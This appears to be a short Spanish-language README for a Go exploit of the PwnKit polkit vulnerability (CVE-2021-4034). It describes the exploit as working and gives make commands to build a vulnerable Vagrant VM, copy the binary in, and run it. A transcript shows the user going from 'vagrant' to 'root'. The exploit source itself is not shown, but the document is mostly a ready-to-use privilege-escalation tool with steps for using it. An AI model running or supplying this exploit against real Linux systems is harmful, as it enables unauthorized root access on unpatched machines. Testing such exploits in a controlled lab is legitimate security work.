
Exploit para la vulnerabilidad PwnKit, CVE-2021-4034, escrito en Go
Este es un exploit funcional para la vulnerabilidad pwnkit, CVE-2021-4034, escrito en Go
Pruébalo:
# create a vulnerable vagrant machine
$ make vm
...
# build the binary and scp it to the vagrant box
$ make scp
# ssh onto the vagrant box
$ make ssh
# The default user is "vagrant"
vagrant@ubuntu-focal:~$ whoami
vagrant
# execute exploit
vagrant@ubuntu-focal:/tmp$ cd /tmp && ./pwnkit-go
$ whoami
root